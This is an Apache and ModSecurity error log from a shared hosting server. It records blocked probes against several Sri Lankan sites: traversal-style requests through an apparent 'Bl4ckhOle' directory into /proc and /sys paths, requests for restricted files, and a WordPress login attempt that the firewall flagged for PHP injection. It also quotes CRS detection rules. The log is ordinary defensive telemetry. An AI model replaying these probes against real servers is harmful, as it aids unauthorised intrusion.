[Fri Jul 17 08:00:34.143383 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTyg5GPQ6hs4VrfMo4ZgAAAAY"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:00:34.143413 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTyg5GPQ6hs4VrfMo4ZgAAAAY"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:00:34.207032 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:45952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:34.423809 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:34.467499 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:34.776191 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:34.790401 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:34.966327 2026] [security2:error] [pid 1993659:tid 1993659] [client 186.55.201.72:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTypOFLENLI63GGOEE6wAAAAQ"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:34.966779 2026] [security2:error] [pid 1993659:tid 1993659] [client 186.55.201.72:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTypOFLENLI63GGOEE6wAAAAQ"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:34.966883 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 186.55.201.72:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/var/named/dataesite.lk.db, referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:34.967298 2026] [security2:error] [pid 1993659:tid 1993659] [client 186.55.201.72:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/var/named/dataesite.lk.db"] [unique_id "almTypOFLENLI63GGOEE6wAAAAQ"], referer: http://www.anandaobauae.org/
[Fri Jul 17 08:00:35.136167 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:35.628089 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:46006] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:35.894993 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:46050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:36.786064 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:46112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:36.855004 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:36.912405 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:37.144405 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:38.351675 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/img/gallery/24.jpg"] [unique_id "almTzoha5y5fYnQ1qRrqKQAAAAE"]
[Fri Jul 17 08:00:38.352029 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/img/gallery/24.jpg"] [unique_id "almTzoha5y5fYnQ1qRrqKQAAAAE"]
[Fri Jul 17 08:00:38.352318 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/img/gallery/24.jpg"] [unique_id "almTzoha5y5fYnQ1qRrqKQAAAAE"]
[Fri Jul 17 08:00:38.613274 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:38.904358 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTzo4Wmn5zySdNNkAe7AAAABM"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:00:38.904388 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTzo4Wmn5zySdNNkAe7AAAABM"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:00:38.945629 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:38.970394 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:39.044400 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:39.144977 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:39.145842 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:39.383887 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:39.694752 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:46230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:40.325169 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTz5OFLENLI63GGOEE8AAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1016&page_105=1422
[Fri Jul 17 08:00:40.325255 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTz5OFLENLI63GGOEE8AAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1016&page_105=1422
[Fri Jul 17 08:00:40.435778 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory0/node0/memory113/node0/memory46/node0/memory65/"] [unique_id "almT0DiSeFVxYLkcq6IX-AAAAAc"]
[Fri Jul 17 08:00:40.435923 2026] [security2:error] [pid 1993675:tid 1993675] [client 57.141.18.112:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory0/node0/memory113/node0/memory46/node0/memory65/"] [unique_id "almT0DiSeFVxYLkcq6IX-AAAAAc"]
[Fri Jul 17 08:00:40.591777 2026] [ssl:error] [pid 1993584:tid 1993584] (5)Input/output error: [client 66.85.158.91:46298] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:40.727213 2026] [security2:error] [pid 1994956:tid 1994956] [client 149.36.48.69:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/"] [unique_id "almT0AG5-NXx3Mem1QgI_AAAAA8"]
[Fri Jul 17 08:00:40.727574 2026] [security2:error] [pid 1994956:tid 1994956] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/"] [unique_id "almT0AG5-NXx3Mem1QgI_AAAAA8"]
[Fri Jul 17 08:00:40.902593 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT0Ehq6UAnqYko0LpRSwAAABE"], referer: http://www.anandaobauae.org/?159.203.75.194uploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:00:40.902639 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT0Ehq6UAnqYko0LpRSwAAABE"], referer: http://www.anandaobauae.org/?159.203.75.194uploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:00:40.942504 2026] [security2:error] [pid 1994956:tid 1994956] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almT0AG5-NXx3Mem1QgI_AAAAA8"]
[Fri Jul 17 08:00:42.631820 2026] [security2:error] [pid 1994446:tid 1994446] [client 149.36.48.69:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/contactus"] [unique_id "almT0l2NhE8i6ppze4eoggAAAAs"]
[Fri Jul 17 08:00:42.632199 2026] [security2:error] [pid 1994446:tid 1994446] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/contactus"] [unique_id "almT0l2NhE8i6ppze4eoggAAAAs"]
[Fri Jul 17 08:00:42.639071 2026] [security2:error] [pid 1993671:tid 1993671] [client 149.36.48.69:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/aboutus"] [unique_id "almT0g5GPQ6hs4VrfMo4bQAAAAY"]
[Fri Jul 17 08:00:42.639435 2026] [security2:error] [pid 1993671:tid 1993671] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/aboutus"] [unique_id "almT0g5GPQ6hs4VrfMo4bQAAAAY"]
[Fri Jul 17 08:00:42.894136 2026] [security2:error] [pid 1994446:tid 1994446] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almT0l2NhE8i6ppze4eoggAAAAs"]
[Fri Jul 17 08:00:43.275093 2026] [security2:error] [pid 1993671:tid 1993671] [client 149.36.48.69:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almT0g5GPQ6hs4VrfMo4bQAAAAY"]
[Fri Jul 17 08:00:46.727689 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:55.758342 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 57.141.18.115:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory114/subsystem/devices/memory87/node0/memory129/subsystem/devices/memory110/subsystem/drivers_probe
[Fri Jul 17 08:00:55.913774 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT33t8zp89pALg8Q5f7AAAAA4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:00:55.913821 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almT33t8zp89pALg8Q5f7AAAAA4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:00:58.657565 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:55722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:59.824279 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?l found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-lljn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT43jA8yK8B7kryx3b_QAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:00:59.825411 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT43jA8yK8B7kryx3b_QAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:01:00.079744 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almT43jA8yK8B7kryx3b_QAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:01:00.104277 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:03.934805 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/workqueue/drivers_probe
[Fri Jul 17 08:01:11.328289 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/cpu1/driver/bind
[Fri Jul 17 08:01:11.621621 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu2/subsystem/uevent
[Fri Jul 17 08:01:12.082728 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:12.206617 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:12.392418 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:49674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:12.579050 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:49698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:01:12.580145 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:12.816217 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
